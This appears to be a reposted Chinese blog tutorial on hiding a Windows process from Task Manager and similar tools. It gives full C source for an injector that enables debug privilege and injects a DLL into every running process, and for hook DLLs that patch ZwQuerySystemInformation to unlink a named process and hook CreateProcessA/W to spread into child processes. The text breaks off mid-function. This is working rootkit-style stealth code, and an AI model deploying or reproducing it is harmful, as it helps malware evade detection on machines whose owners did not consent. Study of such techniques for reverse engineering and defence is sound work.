API勾取实现进程隐藏

来源:互联网 发布:js 树形菜单递归函数 编辑:程序博客网 时间:2024/06/05 14:50

Windows中,任务管理器、Procexp等软件都是通过遍历进程信息结构体链表来获取进程名的,所以我们只要获取进程信息结构体链表然后删除指定进程信息块就能实现进程的隐藏,这种隐藏其实不是真正的隐藏而是让查看进程的程序无法查看到而已。

遍历进程方法一(创建进程快照):
HANDLE WINAPI CreateToolhelp32Snapshot(
DWORD dwFlags, //系统快照要查看的信息类型
DWORD th32ProcessID //值0表示当前进程
);
BOOL WINAPI Process32First(
HANDLE hSnapshot, //CreateToolhelp32Snapshot()创建的快照句柄
LPPROCESSENTRY32 lppe //指向进程入口结构
);
BOOL WINAPI Process32Next(
HANDLE hSnapshot, //这里参数同Process32First
LPPROCESSENTRY32 lppe //同上
);
引用地址:遍历进程的4种方法
方法二:
通过psapi.dll提供的EnumProcesses()、EnumProcessModules()函数实现
函数原型声明如下:
BOOL EnumProcesses(
DWORD* pProcessIds,
DWORD cb,
DWORD* pBytesReturned
);
BOOL EnumProcessModules(
HANDLE hProcess,
HMODULE* lphModule,
DWORD cb,
LPDWORD lpcbNeeded
引用地址:枚举进程方法参考
实际以上两中方法在函数内部都会调用ntdll.dll提供的Native API
ZwQuerySystemInformation()函数,所以在应用层做API勾取的时候勾取这个函数可以更加有效
NTSTATUS WINAPI ZwQuerySystemInformation(

__in SYSTEM_INFORMATION_CLASS SystemInformationClass,

__in_out PVOID SystemInformation,

__in ULONG SystemInformationLength,

__out_opt PULONG ReturnLength

);
好了,现在来说说本文实现通过勾取API函数实现进程隐藏的方法,其中的关键是API的勾取,勾取的方法有多种这里通过修改API的起始5个字节的代码为跳转地址JMP XXXXXXXX来实现控制跳转,转而执行自定义的MyZwQuerySystemInformation,该函数已经删除了进程信息结构体中我们要勾取的进程节点,因此达到隐藏进程目的(此处因注意的是,它只是隐藏进程名,但是不能隐藏程序窗口和窗口名称,若要达到这一效果,还得重新勾取窗口隐藏的相关API,如SetWindowPos(),MoveWindow()等)

5字节修改补丁

5字节修改方法如下图:
这里写图片描述
这里写图片描述
步骤简介:
1、修改API前5个字节JMP XXXXXXXX(挂钩)
2、执行自定义函数(删除进程信息结构体指定节点)
3、脱钩(为什么还要脱钩? 如果不脱钩,该API就无法正常调用,其他进程也无法显示,并且该API还有其他的功能无法完成)
4、调用原API
5、再次挂钩(因为前面只是实现了对这一个程序的进程隐藏,还要获取其他能显示进程的程序)
注意事项:
1.修改前5个字节的时候,要将原来的5个字节保存下来,以便后面脱钩使用,在修改的时候还需要获取该地址的修改权限
2.如果涉及到多线程,在修改5字节的时候还可能会遇到其他线程正读取我们要修改的地址,这时会造成非法访问异常(Access Violation)
3.修改代码用到的技术,仍然是Dll注入,DLL注入要涉及到OpenProcess,而OpenProcess函数又需要提权操作,相关API为
OpenProcessToken、AdjustTokenPrivileges
下面贴上源代码

#include "windows.h"#include "stdio.h"#include "tlhelp32.h"#include "tchar.h"typedef void (*PFN_SetProcName)(LPCTSTR szProcName);enum {INJECTION_MODE = 0, EJECTION_MODE};BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) {    TOKEN_PRIVILEGES tp;    HANDLE hToken;    LUID luid;    if( !OpenProcessToken(GetCurrentProcess(),                          TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,                           &hToken) )    {        printf("OpenProcessToken error: %u\n", GetLastError());        return FALSE;    }    if( !LookupPrivilegeValue(NULL,            // lookup privilege on local system                              lpszPrivilege,   // privilege to lookup                               &luid) )        // receives LUID of privilege    {        printf("LookupPrivilegeValue error: %u\n", GetLastError() );         return FALSE;     }    tp.PrivilegeCount = 1;    tp.Privileges[0].Luid = luid;    if( bEnablePrivilege )        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;    else        tp.Privileges[0].Attributes = 0;    // Enable the privilege or disable all privileges.    if( !AdjustTokenPrivileges(hToken,                                FALSE,                                &tp,                                sizeof(TOKEN_PRIVILEGES),                                (PTOKEN_PRIVILEGES) NULL,                                (PDWORD) NULL) )    {         printf("AdjustTokenPrivileges error: %u\n", GetLastError() );         return FALSE;     }     if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )    {        printf("The token does not have the specified privilege. \n");        return FALSE;    }     return TRUE;}BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath){    HANDLE                  hProcess, hThread;    LPVOID                  pRemoteBuf;    DWORD                   dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);    LPTHREAD_START_ROUTINE  pThreadProc;    if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )    {        printf("OpenProcess(%d) failed!!!\n", dwPID);        return FALSE;    }    pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize,                                 MEM_COMMIT, PAGE_READWRITE);    WriteProcessMemory(hProcess, pRemoteBuf,                        (LPVOID)szDllPath, dwBufSize, NULL);    pThreadProc = (LPTHREAD_START_ROUTINE)                  GetProcAddress(GetModuleHandle(L"kernel32.dll"),                                  "LoadLibraryW");    hThread = CreateRemoteThread(hProcess, NULL, 0,                                  pThreadProc, pRemoteBuf, 0, NULL);    WaitForSingleObject(hThread, INFINITE);     VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);    CloseHandle(hThread);    CloseHandle(hProcess);    return TRUE;}BOOL EjectDll(DWORD dwPID, LPCTSTR szDllPath){    BOOL                    bMore = FALSE, bFound = FALSE;    HANDLE                  hSnapshot, hProcess, hThread;    MODULEENTRY32           me = { sizeof(me) };    LPTHREAD_START_ROUTINE  pThreadProc;    if( INVALID_HANDLE_VALUE ==         (hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID)) )        return FALSE;    bMore = Module32First(hSnapshot, &me);    for( ; bMore ; bMore = Module32Next(hSnapshot, &me) )    {        if( !_tcsicmp(me.szModule, szDllPath) ||             !_tcsicmp(me.szExePath, szDllPath) )        {            bFound = TRUE;            break;        }    }    if( !bFound )    {        CloseHandle(hSnapshot);        return FALSE;    }    if( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )    {        CloseHandle(hSnapshot);        return FALSE;    }    pThreadProc = (LPTHREAD_START_ROUTINE)                  GetProcAddress(GetModuleHandle(L"kernel32.dll"),                                  "FreeLibrary");    hThread = CreateRemoteThread(hProcess, NULL, 0,                                  pThreadProc, me.modBaseAddr, 0, NULL);    WaitForSingleObject(hThread, INFINITE);     CloseHandle(hThread);    CloseHandle(hProcess);    CloseHandle(hSnapshot);    return TRUE;}BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath){    DWORD                   dwPID = 0;    HANDLE                  hSnapShot = INVALID_HANDLE_VALUE;    PROCESSENTRY32          pe;    // Get the snapshot of the system    pe.dwSize = sizeof( PROCESSENTRY32 );    hSnapShot = CreateToolhelp32Snapshot( TH32CS_SNAPALL, NULL );    // find process    Process32First(hSnapShot, &pe);    do    {        dwPID = pe.th32ProcessID;        // 鉴于系统安全性考虑        //对于PID小于100 的系统进程不注入Dll        if( dwPID < 100 )            continue;        if( nMode == INJECTION_MODE )            InjectDll(dwPID, szDllPath);        else            EjectDll(dwPID, szDllPath);    }    while( Process32Next(hSnapShot, &pe) );    CloseHandle(hSnapShot);    return TRUE;}int _tmain(int argc, TCHAR* argv[]){    int                     nMode = INJECTION_MODE;    HMODULE                 hLib = NULL;    PFN_SetProcName         SetProcName = NULL;    if( argc != 4 )    {        printf("\n Usage  : HideProc.exe <-hide|-show> "\               "<process name> <dll path>\n\n");        return 1;    }    // change privilege    SetPrivilege(SE_DEBUG_NAME, TRUE);    // load library    hLib = LoadLibrary(argv[3]);    // set process name to hide    SetProcName = (PFN_SetProcName)GetProcAddress(hLib, "SetProcName");    SetProcName(argv[2]);    // Inject(Eject) Dll to all process    if( !_tcsicmp(argv[1], L"-show") )        nMode = EJECTION_MODE;    InjectAllProcess(nMode, argv[3]);    // free library    FreeLibrary(hLib);    return 0;}

注入操作和普通注入并什么差别,只是遍历了进程注入所有进程而已,关键的勾取操作都写入了DLL中
DLL代码

#include "windows.h"#include "tchar.h"#define STATUS_SUCCESS                      (0x00000000L) typedef LONG NTSTATUS;typedef enum _SYSTEM_INFORMATION_CLASS {    SystemBasicInformation = 0,    SystemPerformanceInformation = 2,    SystemTimeOfDayInformation = 3,    SystemProcessInformation = 5,    SystemProcessorPerformanceInformation = 8,    SystemInterruptInformation = 23,    SystemExceptionInformation = 33,    SystemRegistryQuotaInformation = 37,    SystemLookasideInformation = 45} SYSTEM_INFORMATION_CLASS;typedef struct _SYSTEM_PROCESS_INFORMATION {    ULONG NextEntryOffset;    ULONG NumberOfThreads;    BYTE Reserved1[48];    PVOID Reserved2[3];    HANDLE UniqueProcessId;    PVOID Reserved3;    ULONG HandleCount;    BYTE Reserved4[4];    PVOID Reserved5[11];    SIZE_T PeakPagefileUsage;    SIZE_T PrivatePageCount;    LARGE_INTEGER Reserved6[6];} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;typedef NTSTATUS (WINAPI *PFZWQUERYSYSTEMINFORMATION)                 (SYSTEM_INFORMATION_CLASS SystemInformationClass,                   PVOID SystemInformation,                   ULONG SystemInformationLength,                   PULONG ReturnLength);#define DEF_NTDLL                       ("ntdll.dll")#define DEF_ZWQUERYSYSTEMINFORMATION    ("ZwQuerySystemInformation")// global variable (in sharing memory)#pragma comment(linker, "/SECTION:.SHARE,RWS")#pragma data_seg(".SHARE")    TCHAR g_szProcName[MAX_PATH] = {0,};#pragma data_seg()// global variableBYTE g_pOrgBytes[5] = {0,};BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes){    FARPROC pfnOrg;    DWORD dwOldProtect, dwAddress;    BYTE pBuf[5] = {0xE9, 0, };    PBYTE pByte;    // 获取要勾取API地址    pfnOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);    pByte = (PBYTE)pfnOrg;    // 若已经勾取,则返回return FALSE    if( pByte[0] == 0xE9 )        return FALSE;    // 修改内存属性,用于修改5字节    VirtualProtect((LPVOID)pfnOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);    //备份原来5字节    memcpy(pOrgBytes, pfnOrg, 5);    //计算JMP地址(E9 XXXX)    // => XXXX = pfnNew - pfnOrg - 5    dwAddress = (DWORD)pfnNew - (DWORD)pfnOrg - 5;    memcpy(&pBuf[1], &dwAddress, 4);    // 修改5字节(JMP XXXX)    memcpy(pfnOrg, pBuf, 5);    // 恢复内存属性    VirtualProtect((LPVOID)pfnOrg, 5, dwOldProtect, &dwOldProtect);    return TRUE;}BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes){    FARPROC pFunc;    DWORD dwOldProtect;    PBYTE pByte;    // 获取API地址    pFunc = GetProcAddress(GetModuleHandleA(szDllName), szFuncName);    pByte = (PBYTE)pFunc;    // 若已经脱钩,则返回return FALSE    if( pByte[0] != 0xE9 )        return FALSE;    // 修改内内存属性,用于恢复5字节    VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);    // Unhook    memcpy(pFunc, pOrgBytes, 5);    // 恢复内存属性    VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);    return TRUE;}NTSTATUS WINAPI NewZwQuerySystemInformation(                SYSTEM_INFORMATION_CLASS SystemInformationClass,                 PVOID SystemInformation,                 ULONG SystemInformationLength,                 PULONG ReturnLength){    NTSTATUS status;    FARPROC pFunc;    PSYSTEM_PROCESS_INFORMATION pCur, pPrev;    char szProcName[MAX_PATH] = {0,};    // unhook    unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, g_pOrgBytes);    // original API 调用    pFunc = GetProcAddress(GetModuleHandleA(DEF_NTDLL),                            DEF_ZWQUERYSYSTEMINFORMATION);    status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)              (SystemInformationClass, SystemInformation,               SystemInformationLength, ReturnLength);    if( status != STATUS_SUCCESS )        goto __NTQUERYSYSTEMINFORMATION_END;    // 仅对SystemProcessInformation类型操作    if( SystemInformationClass == SystemProcessInformation )    {        // SYSTEM_PROCESS_INFORMATION 类型转换        // pCur 是单向列表single linked list 的 head        pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;        while(TRUE)        {            // 比较进程名            // g_szProcName =要隐藏的进程名            // (通过SetProcName()来设置)            if(pCur->Reserved2[1] != NULL)            {                if(!_tcsicmp((PWSTR)pCur->Reserved2[1], g_szProcName))                {                    // 从链表删除隐藏进程的节点                    if(pCur->NextEntryOffset == 0)                        pPrev->NextEntryOffset = 0;                    else                        pPrev->NextEntryOffset += pCur->NextEntryOffset;                }                else                            pPrev = pCur;            }            if(pCur->NextEntryOffset == 0)                break;            //链表下一项            pCur = (PSYSTEM_PROCESS_INFORMATION)                    ((ULONG)pCur + pCur->NextEntryOffset);        }    }__NTQUERYSYSTEMINFORMATION_END:    // 函数结束前再次勾取 API Hooking为下次勾取做准备    hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,                  (PROC)NewZwQuerySystemInformation, g_pOrgBytes);    return status;}BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){    char            szCurProc[MAX_PATH] = {0,};    char            *p = NULL;    // #1. 异常处理    // 若当前进程为HookProc.exe 则终止,不进行勾取    GetModuleFileNameA(NULL, szCurProc, MAX_PATH);    p = strrchr(szCurProc, '\\');    if( (p != NULL) && !_stricmp(p+1, "HideProc.exe") )        return TRUE;    switch( fdwReason )    {        // #2. API Hooking        case DLL_PROCESS_ATTACH :         hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,                      (PROC)NewZwQuerySystemInformation, g_pOrgBytes);        break;        // #3. API Unhooking         case DLL_PROCESS_DETACH :        unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,                        g_pOrgBytes);        break;    }    return TRUE;}#ifdef __cplusplusextern "C" {#endif__declspec(dllexport) void SetProcName(LPCTSTR szProcName){    _tcscpy_s(g_szProcName, szProcName);}#ifdef __cplusplus}#endif

以上代码就能够实现对现有运行的调用了ZwQuerySystemInformation()的程序的API勾取,但是却不能勾取到后来新运行的程序的API,为了真正实现对所有API的勾取,还需要新创建进程,也就是要勾取创建进程的API这些API有WinExec、ShellExecute、system等,这些API在其内部实际又都调用了CreateProcess,但是CreateProcess又要分为CreateProcessA和CreateProcessW,而且在这两个函数内部又分别调用CreateProcessInternalA和CreateProcessInternalW,部分windows程序会直接调用这两个程序,所以要同时勾取以上提到的函数才能实现全局勾取,不过其实有一种更简单的方法,因为有逆向人员发现CreateProcess内部调用了ZwResumeThread(),所以只要勾取了这一API就万事大吉,

ZwResumeThread(
IN HANDLE ThreadHandle,
OUT PULONG SuspendCount OPTIONAL)
ZwResumeThread是ntdll中一个未公开函数,将来可能会改变,使之前的程序不稳定,所以无法保证安全性
这里还有一个小提示:
在勾取ZwResumeThread时实际不用像之前那样勾取每个程序的这个函数,因为所有进程都是由父进程(通常是explorer.exe)通过CreateProcess创建,所以勾取父进程的该函数就可以实现注入所有进程。
接下来贴源代码
HideProc2.cpp

#include "windows.h"#include "stdio.h"#include "tlhelp32.h"#include "tchar.h"enum {INJECTION_MODE = 0, EJECTION_MODE};BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) {    TOKEN_PRIVILEGES tp;    HANDLE hToken;    LUID luid;    if( !OpenProcessToken(GetCurrentProcess(),                          TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,                           &hToken) )    {        printf("OpenProcessToken error: %u\n", GetLastError());        return FALSE;    }    if( !LookupPrivilegeValue(NULL,            // lookup privilege on local system                              lpszPrivilege,   // privilege to lookup                               &luid) )         // receives LUID of privilege    {        printf("LookupPrivilegeValue error: %u\n", GetLastError() );         return FALSE;     }    tp.PrivilegeCount = 1;    tp.Privileges[0].Luid = luid;    if( bEnablePrivilege )        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;    else        tp.Privileges[0].Attributes = 0;    // Enable the privilege or disable all privileges.    if( !AdjustTokenPrivileges(hToken,                                FALSE,                                &tp,                                sizeof(TOKEN_PRIVILEGES),                                (PTOKEN_PRIVILEGES) NULL,                                (PDWORD) NULL) )    {         printf("AdjustTokenPrivileges error: %u\n", GetLastError() );         return FALSE;     }     if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )    {        printf("The token does not have the specified privilege. \n");        return FALSE;    }     return TRUE;}BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath){    HANDLE                  hProcess, hThread;    LPVOID                  pRemoteBuf;    DWORD                   dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);    LPTHREAD_START_ROUTINE  pThreadProc;    if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )    {        printf("OpenProcess(%d) failed!!!\n", dwPID);        return FALSE;    }    pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize,                                 MEM_COMMIT, PAGE_READWRITE);    WriteProcessMemory(hProcess, pRemoteBuf,                        (LPVOID)szDllPath, dwBufSize, NULL);    pThreadProc = (LPTHREAD_START_ROUTINE)                  GetProcAddress(GetModuleHandle(L"kernel32.dll"),                                  "LoadLibraryW");    hThread = CreateRemoteThread(hProcess, NULL, 0,                                  pThreadProc, pRemoteBuf, 0, NULL);    WaitForSingleObject(hThread, INFINITE);     VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);    CloseHandle(hThread);    CloseHandle(hProcess);    return TRUE;}BOOL EjectDll(DWORD dwPID, LPCTSTR szDllPath){    BOOL                    bMore = FALSE, bFound = FALSE;    HANDLE                  hSnapshot, hProcess, hThread;    MODULEENTRY32           me = { sizeof(me) };    LPTHREAD_START_ROUTINE  pThreadProc;    if( INVALID_HANDLE_VALUE ==         (hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID)) )        return FALSE;    bMore = Module32First(hSnapshot, &me);    for( ; bMore ; bMore = Module32Next(hSnapshot, &me) )    {        if( !_tcsicmp(me.szModule, szDllPath) ||             !_tcsicmp(me.szExePath, szDllPath) )        {            bFound = TRUE;            break;        }    }    if( !bFound )    {        CloseHandle(hSnapshot);        return FALSE;    }    if( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )    {        printf("OpenProcess(%d) failed!!!\n", dwPID);        CloseHandle(hSnapshot);        return FALSE;    }    pThreadProc = (LPTHREAD_START_ROUTINE)                  GetProcAddress(GetModuleHandle(L"kernel32.dll"),                                  "FreeLibrary");    hThread = CreateRemoteThread(hProcess, NULL, 0,                                  pThreadProc, me.modBaseAddr, 0, NULL);    WaitForSingleObject(hThread, INFINITE);     CloseHandle(hThread);    CloseHandle(hProcess);    CloseHandle(hSnapshot);    return TRUE;}BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath){    DWORD                   dwPID = 0;    HANDLE                  hSnapShot = INVALID_HANDLE_VALUE;    PROCESSENTRY32          pe;    // Get the snapshot of the system    pe.dwSize = sizeof( PROCESSENTRY32 );    hSnapShot = CreateToolhelp32Snapshot( TH32CS_SNAPALL, NULL );    // find process    Process32First(hSnapShot, &pe);    do    {        dwPID = pe.th32ProcessID;        if( dwPID < 100 )            continue;        if( nMode == INJECTION_MODE )            InjectDll(dwPID, szDllPath);        else            EjectDll(dwPID, szDllPath);    } while( Process32Next(hSnapShot, &pe) );    CloseHandle(hSnapShot);    return TRUE;}int _tmain(int argc, TCHAR* argv[]){    int nMode = INJECTION_MODE;    if( argc != 3 )    {        printf("\n Usage  : HideProc2.exe <-hide|-show> <dll path>\n\n");        return 1;    }    // change privilege    SetPrivilege(SE_DEBUG_NAME, TRUE);    // Inject(Eject) Dll to all process    if( !_tcsicmp(argv[1], L"-show") )        nMode = EJECTION_MODE;    InjectAllProcess(nMode, argv[2]);    return 0;}

stealth2.cpp

#include "windows.h"#include "stdio.h"#include "tchar.h"#define STR_MODULE_NAME                 (L"stealth2.dll")#define STR_HIDE_PROCESS_NAME           (L"notepad.exe")#define STATUS_SUCCESS                  (0x00000000L) typedef LONG NTSTATUS;typedef enum _SYSTEM_INFORMATION_CLASS {    SystemBasicInformation = 0,    SystemPerformanceInformation = 2,    SystemTimeOfDayInformation = 3,    SystemProcessInformation = 5,    SystemProcessorPerformanceInformation = 8,    SystemInterruptInformation = 23,    SystemExceptionInformation = 33,    SystemRegistryQuotaInformation = 37,    SystemLookasideInformation = 45} SYSTEM_INFORMATION_CLASS;typedef struct _SYSTEM_PROCESS_INFORMATION {    ULONG NextEntryOffset;    BYTE Reserved1[52];    PVOID Reserved2[3];    HANDLE UniqueProcessId;    PVOID Reserved3;    ULONG HandleCount;    BYTE Reserved4[4];    PVOID Reserved5[11];    SIZE_T PeakPagefileUsage;    SIZE_T PrivatePageCount;    LARGE_INTEGER Reserved6[6];} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;typedef NTSTATUS (WINAPI *PFZWQUERYSYSTEMINFORMATION)(    SYSTEM_INFORMATION_CLASS SystemInformationClass,     PVOID SystemInformation,     ULONG SystemInformationLength,     PULONG ReturnLength);typedef BOOL (WINAPI *PFCREATEPROCESSA)(    LPCTSTR lpApplicationName,    LPTSTR lpCommandLine,    LPSECURITY_ATTRIBUTES lpProcessAttributes,    LPSECURITY_ATTRIBUTES lpThreadAttributes,    BOOL bInheritHandles,    DWORD dwCreationFlags,    LPVOID lpEnvironment,    LPCTSTR lpCurrentDirectory,    LPSTARTUPINFO lpStartupInfo,    LPPROCESS_INFORMATION lpProcessInformation);typedef BOOL (WINAPI *PFCREATEPROCESSW)(    LPCTSTR lpApplicationName,    LPTSTR lpCommandLine,    LPSECURITY_ATTRIBUTES lpProcessAttributes,    LPSECURITY_ATTRIBUTES lpThreadAttributes,    BOOL bInheritHandles,    DWORD dwCreationFlags,    LPVOID lpEnvironment,    LPCTSTR lpCurrentDirectory,    LPSTARTUPINFO lpStartupInfo,    LPPROCESS_INFORMATION lpProcessInformation);BYTE g_pOrgCPA[5] = {0,};BYTE g_pOrgCPW[5] = {0,};BYTE g_pOrgZwQSI[5] = {0,};BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes){    FARPROC pFunc;    DWORD dwOldProtect, dwAddress;    BYTE pBuf[5] = {0xE9, 0, };    PBYTE pByte;    pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);    pByte = (PBYTE)pFunc;    if( pByte[0] == 0xE9 )        return FALSE;    VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);    memcpy(pOrgBytes, pFunc, 5);    dwAddress = (DWORD)pfnNew - (DWORD)pFunc - 5;    memcpy(&pBuf[1], &dwAddress, 4);    memcpy(pFunc, pBuf, 5);    VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);    return TRUE;}BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes){    FARPROC pFunc;    DWORD dwOldProtect;    PBYTE pByte;    pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);    pByte = (PBYTE)pFunc;    if( pByte[0] != 0xE9 )        return FALSE;    VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);    memcpy(pFunc, pOrgBytes, 5);    VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);    return TRUE;}BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) {    TOKEN_PRIVILEGES tp;    HANDLE hToken;    LUID luid;    if( !OpenProcessToken(GetCurrentProcess(),                          TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,                           &hToken) )    {        printf("OpenProcessToken error: %u\n", GetLastError());        return FALSE;    }    if( !LookupPrivilegeValue(NULL,            // lookup privilege on local system // privilege to lookup                   &luid) )                           // receives LUID of privilege    {  printf("LookupPrivilegeValue error: %u\n",                   GetLastError() );         return FALSE;     }    tp.PrivilegeCount = 1;    tp.Privileges[0].Luid = luid;    if( bEnablePrivilege )        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;    else        tp.Privileges[0].Attributes = 0;    // Enable the privilege or disable all privileges.    if( !AdjustTokenPrivileges(hToken,                                FALSE,                                &tp,                                sizeof(TOKEN_PRIVILEGES),                                (PTOKEN_PRIVILEGES) NULL,                                (PDWORD) NULL) )    {         printf("AdjustTokenPrivileges error: %u\n", GetLastError() );         return FALSE;     }     if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )    {        printf("The token does not have the specified privilege. \n");        return FALSE;    }     return TRUE;}BOOL InjectDll2(HANDLE hProcess, LPCTSTR szDllName){    HANDLE hThread;    LPVOID pRemoteBuf;    DWORD dwBufSize = (DWORD)(_tcslen(szDllName) + 1) * sizeof(TCHAR);    FARPROC pThreadProc;    pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize,                                 MEM_COMMIT, PAGE_READWRITE);    if( pRemoteBuf == NULL )        return FALSE;    WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllName,                        dwBufSize, NULL);    pThreadProc = GetProcAddress(GetModuleHandleA("kernel32.dll"),                                  "LoadLibraryW");    hThread = CreateRemoteThread(hProcess, NULL, 0,                                  (LPTHREAD_START_ROUTINE)pThreadProc,                                  pRemoteBuf, 0, NULL);    WaitForSingleObject(hThread, INFINITE);     VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);    CloseHandle(hThread);    return TRUE;}NTSTATUS WINAPI NewZwQuerySystemInformation(    SYSTEM_INFORMATION_CLASS SystemInformationClass,     PVOID SystemInformation,     ULONG SystemInformationLength,     PULONG ReturnLength){    NTSTATUS status;    FARPROC pFunc;    PSYSTEM_PROCESS_INFORMATION pCur, pPrev;    char szProcName[MAX_PATH] = {0,};    unhook_by_code("ntdll.dll", "ZwQuerySystemInformation", g_pOrgZwQSI);    pFunc = GetProcAddress(GetModuleHandleA("ntdll.dll"),                            "ZwQuerySystemInformation");    status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)             (SystemInformationClass, SystemInformation,               SystemInformationLength, ReturnLength);    if( status != STATUS_SUCCESS )        goto __NTQUERYSYSTEMINFORMATION_END;    if( SystemInformationClass == SystemProcessInformation )    {        pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;        while(TRUE)        {            if(pCur->Reserved2[1] != NULL)            {                if(!_tcsicmp((PWSTR)pCur->Reserved2[1], STR_HIDE_PROCESS_NAME))                {                    if(pCur->NextEntryOffset == 0)                        pPrev->NextEntryOffset = 0;                    else                        pPrev->NextEntryOffset += pCur->NextEntryOffset;                }                else                            pPrev = pCur;               }            if(pCur->NextEntryOffset == 0)                break;            pCur = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pCur + pCur->NextEntryOffset);        }    }__NTQUERYSYSTEMINFORMATION_END:    hook_by_code("ntdll.dll", "ZwQuerySystemInformation",                  (PROC)NewZwQuerySystemInformation, g_pOrgZwQSI);    return status;}BOOL WINAPI NewCreateProcessA(    LPCTSTR lpApplicationName,    LPTSTR lpCommandLine,    LPSECURITY_ATTRIBUTES lpProcessAttributes,    LPSECURITY_ATTRIBUTES lpThreadAttributes,    BOOL bInheritHandles,    DWORD dwCreationFlags,    LPVOID lpEnvironment,    LPCTSTR lpCurrentDirectory,    LPSTARTUPINFO lpStartupInfo,    LPPROCESS_INFORMATION lpProcessInformation){    BOOL bRet;    FARPROC pFunc;    // unhook    unhook_by_code("kernel32.dll", "CreateProcessA", g_pOrgCPA);    // original API 调用    pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessA");    bRet = ((PFCREATEPROCESSA)pFunc)(lpApplicationName,                                     lpCommandLine,                                     lpProcessAttributes,                                     lpThreadAttributes,                                     bInheritHandles,                                     dwCreationFlags,                                     lpEnvironment,                                     lpCurrentDirectory,                                     lpStartupInfo,                                     lpProcessInformation);    // 向生成的子进程注入stealth2.dll    if( bRet )        InjectDll2(lpProcessInformation->hProcess, STR_MODULE_NAME);    // hook    hook_by_code("kernel32.dll", "CreateProcessA",                  (PROC)NewCreateProcessA, g_pOrgCPA);    return bRet;}BOOL WINAPI NewCreateProcessW(    LPCTSTR lpApplicationName,    LPTSTR lpCommandLine,    LPSECURITY_ATTRIBUTES lpProcessAttributes,    LPSECURITY_ATTRIBUTES lpThreadAttributes,    BOOL bInheritHandles,    DWORD dwCreationFlags,    LPVOID lpEnvironment,    LPCTSTR lpCurrentDirectory,    LPSTARTUPINFO lpStartupInfo,    LPPROCESS_INFORMATION lpProcessInformation){    BOOL bRet;    FARPROC pFunc;    // unhook    unhook_by_code("kernel32.dll", "CreateProcessW", g_pOrgCPW);    // original API 调用    pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessW");    bRet = ((PFCREATEPROCESSW)pFunc)(lpApplicationName,                                     lpCommandLine,                                     lpProcessAttributes,                                     lpThreadAttributes,                                     bInheritHandles,                                     dwCreationFlags,                                     lpEnvironment,                                     lpCurrentDirectory,                                     lpStartupInfo,                                     lpProcessInformation);    // 向生成的子进程注入stealth2.dll    if( bRet )        InjectDll2(lpProcessInformation->hProcess, STR_MODULE_NAME);    // hook    hook_by_code("kernel32.dll", "CreateProcessW",                 (PROC)NewCreateProcessW, g_pOrgCPW);    return bRet;}BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD 